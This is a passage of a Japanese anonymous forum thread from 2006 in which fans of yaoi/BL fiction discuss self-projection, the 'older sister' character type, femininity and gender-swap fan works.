ということを我に返ったときに思い起こさざるを得なくなる、というのは勿論あるし、
それがより現実との距離を遠く感じさせられることはあるだろけど、
レディコミ（除身辺雑記漫画）のベースにリアルがあるとも思えんし。
178:風と木の名無しさん
06/11/08 21:30:45 Dph2E47NP
＞やおいもレディコミも等しくファンタジー
なるほど。なんか納得した。
で、両者の違いについて考えたんだけど…
801の場合は男×男って事の他に、読み手(書き手)が登場人物に本気で恋をしてる程度や割合いがかなり大きいんではないかなーと思った。
801じゃなくてドリームとかもあるだろうし、統計取れる訳じゃないから
あくまで印象だけど。
架空の人物に恋してる後ろめたさから801に走る、と言うのは乱暴すぎるか。
179:風と木の名無しさん
06/11/08 21:53:29 MsVMzmXw0
>>178
ナマモノに走ってる人もいるし、過去レス読む限りでは二人のやりとりを天井の角
から見てるのが一番好き、という人が多いと思う。
言いづらいけど、やおいにはまった状態で、ある漫画の登場人物に恋をしていた
事はある。その間もやおいに対するモチベーションは全く落ちなかった。
現実に彼や夫がいてラブラブでもやおい…って人も多いし。
180:風と木の名無しさん
06/11/08 22:13:03 Dph2E47NP
このスレなんか見てても感じるんだけど、801に嵌まる人って
頭のいい女性が多いと思う。
頭が良い＝脳内で情報を再現する力に長けている→
リアルでない人物でも恋できる、してしまう→その不毛さや痛さを人並み以上に自覚する→
そんな馬鹿げた恋をする自分、リビドーとかも認めたくなくて、もやもやする→
男×男だからここには自分はいないと切り離す事で、安心してうっとりできる
こんな流れ、神視点にこだわる要因としてあるんではないかな。
181:風と木の名無しさん
06/11/08 22:14:29 NdFtD0T30
好きな男キャラと嫌いな女キャラが恋愛関係になるのが
嫌な事はあるな。
アイドルを好きになるような感じで萌える事がある
男キャラと恋愛関係になるぶんには嫉妬しない
私の場合、女キャラに対する許容範囲が狭い
もちろん好きな女キャラもいるけどね
182:風と木の名無しさん
06/11/08 22:24:15 rauD/a2I0
ごめん。二次元でも三次元でもどっちにもはまった事のある私ですが
個人的にミーハーにきゃーきゃー好きになってもそれを恋したと言い切る
には抵抗がある…ミーハーも恋のうちって言われるとそれまでなんだが。
恋するってのはやっぱり自身と相手が相互にコミュニケーションができて何ぼだと思うのだけど。
183:風と木の名無しさん
06/11/08 22:27:38 MsVMzmXw0
>>180
そういう人もいるとは思うけど、どっちも同じくらい大好きで組ませてる、という人はどっちに恋愛
感情が向いてるんだろう。
それとも単体萌えとカップリング萌えは根っこが違うのかな？？？
芸能人二人組のファンでナマモノやおいの人は「二人でいるから好き。ﾋﾟﾝでの活動には全く興
味ないし、解散したらファン活動はやめる、妄想は続く限りは続ける」と言うんだよ。
184:風と木の名無しさん
06/11/08 23:03:27 rauD/a2I0
>180
あるキャラ中心で801萌えしてるけど、実際いたら絶対こんな奴と恋愛関係なんか
なりたくないって本気で思ってる場合はどうなるんでしょう？たとえ顔がよくてもお断り。
共倒れにしかならないってのが主な理由ですが。
185:風と木の名無しさん
06/11/08 23:28:32 Dph2E47NP
180ですが。
ごめん、恋って言葉を使ったのでなにかキャラ対自分みたいな言い方になってしまったかな。
そういうのでなくて、無自覚に起こる性欲みたいな感情を持て余す状態が言いたいんだけど…
自分の脳内で構成した人物に萌えてしまう事に対する違和感というか
だから単体かカップリングかってなる、前段階の感情について言ってると思ってください。
三次も二次も自分の現実とは関われないっていう点は同じだから…。
で、まさに>182さんの言うのが理性の声で、それがわかっているからこそ
好きな気持ち(ふとした欲情と言ったほうがいいかも)が芽生えてしまった時の
理性と感情の不整合のつけかたというか、
あくまでも無意識のガードとして801を選ぶんじゃないかと。
もちろん理由の全てじゃなく、ひとつの要素としての話です。
自分は夢見る乙女なんかじゃない、そう言われるのは嫌、って気持ちはありませんか？
私は強くあります。
この気持ちと801萌えは我ながら矛盾してるので、奇妙に思っていて、あんな仮説を立ててみました。
全然的外れって言う人が多ければ、それもまた考えの参考になるよ。
186:風と木の名無しさん
06/11/08 23:50:52 MsVMzmXw0
プライベートでは夢見る乙女というか、妄想するオババだな、むしろ。
年もある程度言ってるから、「夢見る乙女」という言葉自体には気恥ずかしさを感じる。「乙女」
じゃなきゃダメだろうか…？
ま、腐趣味をはなせる友人には「あんたおめでたいねー」と言われることはありますよ。
でも萌えでうきうきしてる自分は好き。子供っぽいとは思うけど、なにより自分が楽しくしていられ
る。萌えでもだけど、なんにしても楽しく幸せにしてられる自分は大好き。
悪い方向に気持ちがいってる自分は、我ながら嫌な奴になるからね。
187:風と木の名無しさん
06/11/09 00:56:28 3L+z+KlFP
ん。とにかくこいつら好きなんだよ～っ とめろめろできるのは
801のうれしいところだ。茶飲みﾚｽすまへん
188:風と木の名無しさん
06/11/09 09:32:31 XooaLYkm0
男に興奮する男に萌えてやおいやってるんですが、
>2だとどれに当てはまりますか？
189:風と木の名無しさん
06/11/09 09:44:44 FUtHGJwb0
>180
神視点にこだわると言うか、
「こんな恋愛、現実にある訳ない」「こんな人間、現実に居る訳ない」
とやたら言いたがる人が多いと思う。
そもそも、801好きでない女性も皆が皆普通の男女恋愛もの見て
男キャラ＝自分の理想の相手、女キャラ＝自分、こんな恋愛を自分もしたい
と考える訳じゃない。神視点で物語を楽しんでいる人も大勢居る。
電車男が好きな非ヲタ女性でも（一応電車男＝実話、とされているにも関わらず）
「エルメスみたいな女になって電車男みたいな男と恋愛したい」
と言っている人なんて殆ど見ない。
にも関わらず「電車男にハマってる非ヲタ女って理解出来ない。あれは作り話だし、
あんなオタク居る訳ないのに。エルメスも、現実に居たら只のイタい女なのに」
と言うヲタ女性を数多く見た。
801好きと言うよりヲタ全般に共通する気質かもしれないけど。
190:風と木の名無しさん
06/11/09 16:00:28 AY6fjwun0
電車男に限っていえば、オタ描写がゆるすぎたから
オタはなんかイライラすんのでは。
そんな話じゃないか。でも映画はよかったけどな。
191:風と木の名無しさん
06/11/09 19:59:52 S4fDi5fi0
>189
自分がヲタで、801とか漫画とか、「こんな事現実にあるわけない」って物にハマってることを、
重々承知している。
そして、重々承知の事を他人から突っ込まれると、不愉快なので
「こんな事現実にあるわけないよ！わかってるんだそれ位」って
先に自分から予防線を貼る癖がついてるんじゃないかな？
電車男みたいな「ヲタ関係」の話には「あんなのいるわけない」って
反応するけど、月９みたいな、普通の男女のドラマには、一々そんな事言わないよね、普通。
月９だって十分「あるわきゃねー」の連続だけど、それがあるわけない話だって事は、
ヲタも一般人も承知だからわざわざ言う必要もない。
でも電車男みたいな「ヲタ関係」の物は、ヲタの事を知らない一般人が
本当にこんな事あるの？って思ってしまうと不愉快なので
「んなことあるわけない」って主張してしまうんじゃないかなあ。
とにかく「ヲタクを誤解される事」が嫌なのかも。
192:風と木の名無しさん
06/11/10 01:17:06 sAIScqpt0
同じ「あるわきゃねー」でも
「あるわきゃねー（でも、こんな恋愛が出来るものならしてみたい）」と
「あるわきゃねー（し、実際にこんな恋愛をするのは嫌だ）」や
「あるわきゃねー（でも、所詮架空の物語だし面白けりゃどーでもいいか）」
では違うよね。
上からパターンA、パターンB、パターンCとすると、
電車男はパターンBのファンが多い。
他の一般恋愛ドラマ（や漫画、映画etc）も
AだけではなくBやCのように考えつつ楽しむ人も多い。
でも、801好きは男女の恋愛物語のファン＝Aだと決め付けて
「私はこんな恋愛をしたいとは思わない、だから801を選ぶ」と
主張する人が多いと思う。
「801好き（の一部）＝物語を神視点で楽しむ人」と言うのはこのスレでも何度か出たけれど、
むしろ「一般人の多くが男×女の物語でも神視点で楽しめるのに対し
（女が存在しない）男×男の物語でないと神視点で楽しめない人＝801好き」
じゃないかなあ。
「女」が物語中に存在すると自動的に「自分だったら」とか「現実に居たら」とか
考えてしまう人、というか。
193:風と木の名無しさん
06/11/10 01:26:32 aH8XCQbk0
でも言われてる程神視点じゃないと思うんだよね、801も。勿論男女も。
やっぱり「好んで」読み見るのには、自己との関わりは切り離せないんじゃない？
特にどっぷり嵌ってる人ほど自己投影はしてると思うよ。
194:風と木の名無しさん
06/11/10 01:30:08 Wqt7zgyf0
>>192
「女であること」に過剰反応してる人が多いのかもね。
女であることに違和感を表明し、女は嫌だ嫌だと言ってんのも、
逆に、過剰適応としか思えないような、私は女であることを謳歌してるしてると主張してんのも、
実は同じ事象の表と裏、という気もしてきた。
195:風と木の名無しさん
06/11/10 02:52:27 i+NAHr4Z0
女は女に生まれるのではない
女になるのだ
まあ、木登りしてるときに「女の子でしょ」と注意される子供時代から
上司に「お茶」と言われる歳、その後もずっと、
女であるということを意識させられ、型にはめられなかった女はほとんどいないだろね
違和感も過剰適応もむしろ自然
196:風と木の名無しさん
06/11/10 06:42:46 25qXQdH40
好みの物であればあるほど自己投影……
（801やエロでなく）スプラッタ映画好きはどこに自己投影してるんだろう。
なんというか、ただ楽しむという用途が最初から理解できない人もいるのだろうが。
ただ、そこに人物描写があるというだけで。
197:風と木の名無しさん
06/11/10 08:33:08 3z7UxFoZO
>196
ふと疑問に思ったんだけど、そういう人も腐女子と呼ぶんだろうか？
198:風と木の名無しさん
06/11/10 12:31:49 Uy0qf/QL0
呼ばれないしょ。萌えとかじゃないだろうし。
スプラッタに目がない女子ってのがカテゴライズ出来るほど寄り集まってる感じもしないし。
あえてするなら単にホラーマニアとか、傾向によってはサブカルとかに丸められたりするのかも。
199:風と木の名無しさん
06/11/10 19:00:04 tpjgVYGC0
>>196
スプラッタとか猟奇好きだけど
破壊したい：破壊されたい＝７：３
くらいだな。
何も考えずにいると、神視点のつもりなんだけど
突き詰めて考えてみるとやはりどちらかに投影してる。
あと人間が簡単に破壊される描写が単純に好き、という面もある。
キモい話でごめん。
200:風と木の名無しさん
06/11/10 19:34:29 zvrjUFHu0
801によく居る「姐さん」キャラ、
完璧超人な大人の女性で、攻めからも受けからも一目置かれ
彼らの恋愛を理解し影からサポートするけど
自分が攻めや受けと恋愛関係になる事は絶対無いキャラって
まさしく作者の自己投影の塊だと思うけれど、
そういうキャラを好む人は攻めにも受けにも自己投影せずとも
801を楽しめる人じゃないかな。
201:風と木の名無しさん
06/11/10 20:37:57 i+NAHr4Z0
私は、801に女が出てくるのは好きだし（話に幅が出る）
痛いキャラだったらつらいし、
結局振られることを思うとあんまり恋愛に絡まない方がいいけど
姐さんキャラには感情移入出来ないなあ。
なんでいい男がいるのに惚れずに姐さんやねん。
202:風と木の名無しさん
06/11/11 00:53:04 B8Mb8iH10
攻め受け間の恋愛を続けさせつつ（８０１萌えをしつつ）、８０１萌えに不都合にならない女性を登場させようとすると、
「姐さん」キャラになるんじゃないの。
>>820＞まさしく作者の自己投影の塊だと思うけれど
同意。
しかし、８０１ｶﾎﾟｰのどっちか一人を取り合う女性に自己投影するより
「姐さん」キャラに自己投影する人のほうが、ﾔｵｲｽﾄとしてレベルが上なんじゃないか。
８０１ｶﾎﾟｰを応援しつつ直接恋愛に関わらない位置の女性って、「８０１を読んでる現実の自分」と同じで
つまり自分（もしくは腐女子）のパロディとして「姐さん」キャラを物語内に登場させているように見える。
不都合な部分（同次元では恋愛対象になることとか）を削ぎ落として、作者の理想の女性っていう装飾をすると
「姐さん」キャラになるのではないかと。
だから、こういうキャラを好む人ってまず受け攻めに自己投影できることが前提としてあると思う。
203:風と木の名無しさん
06/11/11 01:14:40 lZWALhlM0
＞ﾔｵｲｽﾄとしてレベルが上
レベルも何も無いでしょ。
楽しみ方なんて人それぞれ、個々の自由。
801に深く嵌った人等が、みんな同じ様な傾向を持っていくとは思えない。
204:風と木の名無しさん
06/11/11 01:19:45 x4X/OVEu0
私も姐さんキャラは正直好きじゃない。
作者の自己投影が見え見えで萎えるっつーか、
過剰にいい女像を増幅させた結果、こんなやつ絶対にいねーよ、と感じさせる部分が
主役の男男カップル以上にある。
恋愛至上主義の癖に、本人は恋愛から逃避しまくってる印象。
腐女子のパロディと言っても、パロディとして成立させるためには相対化が必要だと思うが、
相対化できてるとは思えんなぁ。
205:風と木の名無しさん
06/11/11 01:34:29 yEmXW2do0
姐さんは現実味に欠ける存在ではあるけど、
逆にリアリティに拘束されて停滞しちゃうキャラクタ達に対して、
程度の差こそあれ、「四の五の言わず着いてこい」的にエンジン掛けてやることで、
ストーリーをスムーズかつ派手に運ぶ役割を担ってる場合なら、まあ良いかなと俺は思ったりする。
206:風と木の名無しさん
06/11/11 09:32:24 nQgRU9Et0
>ストーリーをスムーズかつ派手に運ぶ役割
そうそう、単なる役割キャラなんだよね。でも私はそこがなんかかわいそうというか、
無性の、都合のいい生き物として女性を出すのはちとさみしいなー。
自分がうじうじした性格で、、男が基本的に大好きな（だから801好き）人間だから
サバサバしたｶｸｲｲ姐さんに親近感がわかないっつうのもあるＷ
女性を上手に搦めてくれるとむしろ萌えは増大なんだが。
でも、私は見たこと無いけど、二次元の中には
女性キャラを嫌う801描きが、女性キャラを痛めつけたリ、痛いキャラとして書く
というのもあるらしいな。
引くな。
207:風と木の名無しさん
06/11/11 21:05:42 nAqchG+i0
そういや私、801好きだけど、「男」が好きと思ったことはないな。
女性性に違和感、と言うか、むしろデブスで女捨ててるからか。
姐さんキャラには好感を持ってるけど、
逆に、自分の欲求持ってる女性には親近感が持てない……。
208:風と木の名無しさん
06/11/11 22:01:26 +D11i4rS0
>801好きだけど、「男」が好きと思ったことはないな。
この場合の男の定義は？
1.現実の男
2.フィクションの中（でカップリングする）男（単体）
3.現実・フィクションの両方の男
209:風と木の名無しさん
06/11/12 02:42:57 aOO8ZJ/R0
自己投影は別に悪いことじゃないし、
書く人間が特定キャラに入り込んでしまうことは、普通にあることだと思う。
だから自己投影そのものが悪いのじゃない。
しかし、自己投影先のキャラをマンセーする作者は気持ち悪い。
だから、見て見ていい女でしょ、と主張しまくる姐さんキャラも
可愛いでしょ可愛いでしょ、と主張するモテモテ受けタンも、
私はどちらも嫌いだ。
210:風と木の名無しさん
06/11/12 21:28:25 YQVRwue00
>>208
遅レスすまん。
3(現実の男と、フィクションの男単体)だな。
いや、好きなキャラの中に男キャラもいるんだが、
男として好きなわけではない、と言うか。
好きな女キャラと同じ「好き」だなーと。
でも関係性としては、「男と男」の関係に萌えるから、
やっぱり腐女子なんだと思う。
211:210
06/11/12 21:36:03 YQVRwue00
と言うか、「男」という属性そのものには
惹かれない、と言った方がしっくりくるかも。
212:風と木の名無しさん
06/11/12 22:05:29 yFy9n+S+0
えーと、わかりにくいけどつまり
×（（（女）（フィクションの女）） （（男）（フィクションの男）））
○（（女）（男））（（フィクションの女）（フィクションの男））
こんな感じ？
213:風と木の名無しさん
06/11/13 00:45:09 2Mg7g3S30
すまん、そのかっこはなにを表してるの？
214:風と木の名無しさん
06/11/13 00:53:18 YcLS54KI0
>>212読んで余計に分からなくなったんだが、
概念としての男にも、リアル男にも惹かれない、
ということでよろしいか？
215:風と木の名無しさん
06/11/13 01:23:29 N+EAQsnK0
というより
男だから惹かれた訳じゃないとか
男として惚れたことは無い
とかいうことじゃない？
216:風と木の名無しさん
06/11/13 01:32:37 YcLS54KI0
210本人がいまいないようなので、詳細は本人に聞くしかないが、
最初、概念としての男に興味がない＝男の皮を被った擬似レズいちゃいちゃみたいなほうが好き、
という意かと思ったが、>>212見直してみると、
リアル男もリアル女も概念としての男も概念としての女も等価で、
性別などどうでも良く、ただ210本人には物語が必要なだけ、ということかな？
217:風と木の名無しさん
06/11/13 05:47:23 gjG4yEsU0
でも男同士の関係性には特別に萌える時点で、
>>210にとって男と女は等価じゃないのでは、とも思う。
>>207は男好きが高じて801に走ってるわけではなく、
でもなぜか男同士の関係性に萌えるって意味かと勝手に解釈した。
でもデブスとか肉体的コンプレックスが、女性性の否定、
801へと繋がる可能性っていうのはよくわかるな。というか、自分もそうだ。
（AAに代表されるような）一般的な腐女子像もあながち偏見と切り捨てられない。
女は容姿な社会では排除されちゃうもんね。
小さいころから太ってたり不細工だとしたら、それでいじめられたりっていう経験も影響しそう。
とあくまで自分の経験から推測してみる。
218:風と木の名無しさん
06/11/13 15:02:10 v8FAoeXZ0
横レスだけど
デブスという単語は女性が使うの辞めませんか…
特に自分に対して…
219:風と木の名無しさん
06/11/13 17:42:53 5p5SWXdB0
自分は逆に男が好きだなー。
萌えがﾅﾏﾓﾉだからかもしれないけど。
見た目的に、女と違った美しさがある。
そしてその美しさが好きだ。
中身的には女には永遠の謎w
そしてそんな中身が可愛かったり面白かったり訳わからんかったりで
好きだ。
220:207=210
06/11/13 22:30:17 eGruj4x90
>>217
> 男好きが高じて801に走ってるわけではなく、
> でもなぜか男同士の関係性に萌えるって意味
それだ！
あとは男女カプだと、特別親しくなった時点でほぼ自動的に恋愛感情だと
見なしてしまうから妄想の余地がなかったり、
女キャラが「女らしく」なってしまう事が多くて萎える……。
受けが受けても「女らしく」ならないカプが萌え。
男女カプでもそういうのなら、わりと好きなんですが(妄想まではしないが)
私にとっては「男である」ことよりも「女らしくない」ことが重要だったのかも。
>>218
逆に自分以外には間違っても使えませんｗ
221:風と木の名無しさん
06/11/14 07:01:03 /UIzQuqU0
現実の女とフィクションの女はどうしても繋がってしまうけど、現実の男とフィクションの男は
全く別物として考えられる。
222:風と木の名無しさん
06/11/14 12:22:47 vENo5S+LO
>>221
そういう感覚が正直よく分からない。
フィクションの女も架空のものとしか思えない。
223:風と木の名無しさん
06/11/14 13:31:19 OI5RwoJV0
私は現代日本が舞台の実写モノの女は現実と繋げてしまうな。
だからドラマや映画は洋画・洋ドラか時代劇しか見ない。
現代実写モノでなければ女が「女らしく」しているのは平気だけれど
結婚とか出産とか言われると萎える。自分が結婚出産に何の夢も抱いていないからだろうけど。
漫画の最終話とかゲームのEDで「○年後、結婚して子沢山の幸せ家庭を築いた主人公とヒロイン」
とか、二次パロ（801含む）で結婚式ネタ・子供ネタが出てくるとうんざりする。
224:風と木の名無しさん
06/11/14 15:05:21 YhKIQnkQ0
私はフィクションで男女カップルが結婚とか出産とかしてないと落ち着かないなー。
でも、永遠の愛は信じてない。
801カップルが「二人は永遠に一緒に暮らしました」つーのはいやだ。
225:風と木の名無しさん
06/11/14 16:55:05 o3nJBTA30
>221
自分もそうだ。
フィクションの女って、「こんな女イネー！」「こんな女アリエネー！」
って思うことが苛立ちに直結するんだけど、
フィクションの男って、「はぁ…こんな男がいたらなあ…ｳｯﾄﾘ…」
なモードになるっていうか。
どっちもフィクションなんだけど、こっちの受け止め方が違うんだよなあ。
226:風と木の名無しさん
06/11/14 18:12:05 p23UamT50
男女だろうと801だろうと、そのカプが「今」愛し合っている姿しか見たくない。
永遠の愛も信じていないし、結婚出産だの老後だのも考えたくない。
未来とか将来とかを想像したくない。
片方もしくは両方が死ぬか、どうしようもない理由（身分違いとか）で最終的に結ばれない結末の方が
「美しい」と思っちゃうんだよな。
恋愛ものではなく最初から「夫婦＋子供もの」「老夫婦もの」として描かれている作品なら
何とも思わないんだけど。
227:風と木の名無しさん
06/11/15 16:57:58 MqX4GHW10
永遠の愛なんて信じてないんだけど
801カップルには「それがあればいいな」という切なさを託して萌えている
気がする。
絶対にありえない事だけど、この2人の間にだけはあってほしいなあみたいな。
228:風と木の名無しさん
06/11/16 02:49:34 gDaTlj320
801は理想の世界、ということなのか、
少しでも現実的な自分にとって生々しい要素が入ると苗に変わる。
たとえば結婚→出産、もそうだし、老後もそうだし、
恋愛倦怠期みたいな描写も嫌だ。ケンカは仲直り前提ならおｋ。
女性性を感じるようなもの＆現在の恋愛にあるであろう負の部分は見たくない。
自分の一番好きな恋愛の瞬間、エッセンスを凝縮したのが801だな。
>>226
私も未来や将来って想像したくない。
そういう概念がない世界が好きだ。
だからやっぱり不可抗力で２人が最終的に結ばれないほうが、
完全な形の恋愛が完成するように思ってしまう。
229:風と木の名無しさん
06/11/16 18:00:37 UGj/J9rL0
自分は刹那的なのも好きだけど、ずっと一緒にってのも割と好きだ。
どっちもバリエーションの一つとして美味しくいただけるって感じかな。
でもやおいで妊娠とか出産は駄目だ。
女体化とかの上でなら平気なんだけどなあ。
230:風と木の名無しさん
06/11/17 06:36:16 l3wIQBeV0
女体化無しで801で妊娠てどういうことだＷ
パタリロ？
231:風と木の名無しさん
06/11/18 00:06:35 1HT6lYC70
現カリフォルニア州知事かもしれんぞ。
232:風と木の名無しさん
06/11/18 18:50:25 UJXOIBJp0
例えば同じスレの住人でも
好きなものは好き！アンケもファンレターも同人誌だって作っちゃうってタイプと
どこか後ろめたさを感じてBL本を買うのさえやっとだけど離れられないってタイプがいると思う。
萌えに正直な人がイキイキして見えることがあるなぁ。（スレ内での印象だけど）
でもひっそりと生息する隠れ腐女子もかなりいるだろう。
現実的にはルックス、オサレ、常識（これが曲者）が水準まで行ってないと生きづらいし。
でもどっかはみ出てる自分を感じてる人が801に嵌まるんじゃないかなと思う。
233:風と木の名無しさん
06/11/18 23:12:57 Jog/1psi0
でも過剰適応してる人とかもけっこういるよね…
で。801にはまって反動で厨的というか病的にまで暴走したりする人とかも。
そこまで行かなくても水準に合わせること自体が好きでない人が
ストレスのはけ口として801を消費する場合とかも。
内面と外面の欲求が調和してない人ってのがその空隙を埋める形で801に
走ってる部分もあるんじゃないかと思う。これも一面でしかないと思うけどね。
234:風と木の名無しさん
06/11/19 19:06:32 AtUNlHoJ0
個人的には、萌えに正直＝自分の欲望を覆い隠さない人
というのは、イタイと感じることが多い。
まあこれは、私がナマだから余計にそう感じるのかも知れないが。
ナマで萌えを覆い隠さない人というのは、例外なくイタイ人だからね。
235:風と木の名無しさん
06/11/19 23:57:44 D8xzKB0K0
女体化ってのが自分の中では疑問を増やしてくれるジャンル(？)なんだけど…
男×男であるのに、身体を女性化するってのは結局どうしたいのかな？
(非難するつもりじゃないよ)
「乳房や丸みを帯びた体つきとかを単純にビジュアル的に楽しみたい」ってこと？
あとは「女になっちゃった、どうしよう！？」的なただのドタバタシチュ作り？
上記のような単純なネタ要素であるならわかるんだけど
そうでないなら、一般的なヘテロカップルの中に自分が組み込まれることへの嫌悪の
屈折した発露だったりするのかなぁとか思って。
自分は思考・性格そして身体が男である人間同士の関係に萌えるもんだから
女体化しちゃったら801にする意味が無くなってしまうんだ。
(男の性格ってなんだ？って言われちゃうと、結局自分のイメージでしかないけど)
女体化するんならハナから男女ものを読むって選択をするし。
236:風と木の名無しさん
06/11/20 00:38:02 qB/BZZdO0
>>235
前スレでかなり色々意見出てたと思うけど、また女体化話やるの？
一口で女体化といっても、人によってかなりとらえ方は違うと思うので
あくまでも個人的な意見だが、
男の身体を女のそれにデザインし直す作業というのが面白い。
こいつは女だったらどういう感じなんだろう、
巨乳なのか貧乳なのか、
似合う服はダナキャランなのかヨージなのかラクロワなのかピンクハウスなのか、
うわーこいつ絶対生理重いよなーｗ、とか。
でも、女の身体を男にデザインし直すのは全然面白いとは思わないんだよね。
自分でも理由は分からん。
女体化した身体に対して、戸惑ったりセクハラされて怒ったりするのも見たいとも思うが、
女体化した身体に順応されたら萎えるので、その状態でセックスされても困るし、
結婚だのまして出産だのはNG
だから私の場合は、女体化に「萌え」てるわけではないのだろうと思う。
が、面白い。
＞女体化するんならハナから男女ものを読むって選択をするし。
私の場合はちょっと違って、
受けの中身が女としか思えないような（主に商業）BL読むぐらいなら、ハナから男女もの読む、かな。
237:風と木の名無しさん
06/11/20 01:14:07 X0JWCn420
>>236
デザインとしての女体化と、カプのための女体化って違うと思うよ。
デザイン好きならデザインで止まるもの。
女体化でカプが好きな人は、デザイン以外の理由がありそう。
238:風と木の名無しさん
06/11/20 01:22:00 qB/BZZdO0
>>237
うん。だから私はあくまでも個人的な意見を書いただけ。
女体化してカプにしたいという人のことは、正直よく分からない。
が、女体化そのものにアレルギーのような拒否反応起こす人も、よく分からない。
まあ他人のことはよく分からない、という話に過ぎないが。
239:風と木の名無しさん
06/11/20 04:39:51 sdwrbsRE0
自分は、好きな♂×♂の全部女体化したがるのではなく
女体化おｋ、寧ろ大好物なカプと、駄目なカプがある。
自分は、男装の麗人、というか、生まれのせいで、女性としての生き方を捨てざるを得なかった女性とか
体や精神とかの理由で生物学的には男性だけれども、男だとも、女だとも言えない中性的なキャラが好み。
男女（おとこおんな）とか僕女（ぼくおんな）や、オカマキャラじゃなくて、ね。
自分のオリキャラには、ばっちしそういうキャラがいる。
んで、二次創作の男同士のキャラの場合
たとえばもし、このキャラが女性だったら、その事を隠して生きなくてはならないだろうキャラは
女体化のピンポイント萌えキャラになる。
そうじゃないキャラ、つまり女性としても普通に生きていけるキャラはわざわざ女体化しない。
でも、自分の中で一番大事なのはそのキャラの根本の性格。
だから、女体化しても、その性格とか考え方まで変わるのじゃなくて
あくまで「女性だという事を周囲には教えない」というシチュを追加したカプものになる。
本人はナチュラルに自分は男だ、と思い込んでいたり、または必死に言い聞かせたりする。
その辺は、そのキャラの性格によって違うけど。
それなら、最初っから男女もの読めばいいじゃん、となるかもしれないけど
どツボにはまる男女ものが、既成のものじゃ少ないから。（あることはある）
あくまで、自分の感覚で、だけど。
だって、最初っから男女のカプだったら、女性は自分が女だって事隠さないでいい訳だからさ。
既成の男女ものよりも、特定の関係性の男同士で女体化させた方が自分は萌える。
あと、これが一番大事な点なんだけど
女体化カプでは、女体化したカプがとにかく萌えなんじゃなくて
まず、オリジナルの男同士でのカプでの萌えがあって
更にそこに「実は受けが女性だったら」とシチュを追加する事で別口の萌えが見えてくる、って感じ。
240:風と木の名無しさん
06/11/20 13:23:26 DH4lSJ3l0
239さんはパラレル女体化派なんだね。
「女であることを隠す」てことは。生まれつき女性ものだね。
私は「女になっちゃったどうしよう」派で、
どたばたエロが好きなんで、
生まれつき派の一人の意見が聞けて興味深かった。
腐女子活動とても楽しいのだけど
私はマンガを普段あんまり読まないし、まして萌える事なんて数年に一度。
５～８年に一度くらいかなあ。
今萌えてるのの熱がもう終わりかけている。
年が年だし、もう次はないかも知れない。
萌えるマンガがないと、婦女子活動はない。
ぼちぼちこのスレともお別れかも。また戻ってきたいけど。
人生色々楽しいことがあるけど、萌えてる時期が一番楽しいのになあ。
241:風と木の名無しさん
06/11/20 18:17:19 TfyVV09cO
女体化の話は前かなり出たけど、男体化の話ってあんまり出なかったよね？
自分は男体化萌えだけど、萌える人がほとんどいないからだろうか。
242:風と木の名無しさん
06/11/20 18:47:09 hkEL0Wcc0
ここの男体化スレ以外で男体化好きな人を見た事がないからなあ。
たまに男女の精神入れ替わりネタやキャラ全員性別逆転ネタで男体化している事はあるけど
大抵は女体化男の描写がメインで男体化女はおまけ扱いだし
243:風と木の名無しさん
06/11/20 19:30:57 Y4Awr+2o0
男装女キャラは割とメジャーだし（オスカル様とか）
ふたなりも男性向けなら時々あるけど男体化は聞かないね。
男→女は女装、女体化、ふたなりと全部見かけるのに
この差は何故なんだろう。
244:風と木の名無しさん
06/11/20 20:52:17 X0JWCn420
俺女や僕女萌えはかなりいるけど、オカマ萌えは少ない、みたいなもんかな
245:風と木の名無しさん
06/11/20 22:25:47 MyfNwz4j0
自分は女体化と男体化、両方萌えられるなあ。
最初は女体化のおまけのつもりだったのに、
そのうち男体化そのものが楽しくなったという嵌り方なんだが。
>>244
簡単に言えばそういうことかもね。
246:風と木の名無しさん
06/11/20 22:35:47 Jg9B7+wI0
腐女子だけの話じゃなくて、世間一般でも
男→女体化、というのは、青年漫画でもエロ漫画でも一般小説でも時々見かける題材だが、
女→男体化、というのは、ほとんど見かけない。
だから腐女子特有のものではないような気がするがどうか。
247:風と木の名無しさん
06/11/20 23:11:30 n/aMIhj60
男体化スレみていると、攻め萌えが多いな。
攻めとして好きだと、受けとして好きな時ほど描く気にならないんじゃないかと思った。
248:風と木の名無しさん
06/11/20 23:47:20 KfZpsUwO0
それはありそう。
受けとして好きなら女のままで不都合なさそうだし。
でも男体化スレって結構伸びてるんだね。
逆に、好きな人意外に多いんだなと思った。
249:風と木の名無しさん
06/11/21 00:17:13 bO+3HX+b0
受けは男が多い（801板だから当然だけど）みたいだから
女×男の亜種みたいなもの？
男体化好きな人は（男体化してない、そのままの）女×男はどう思ってるんだろう。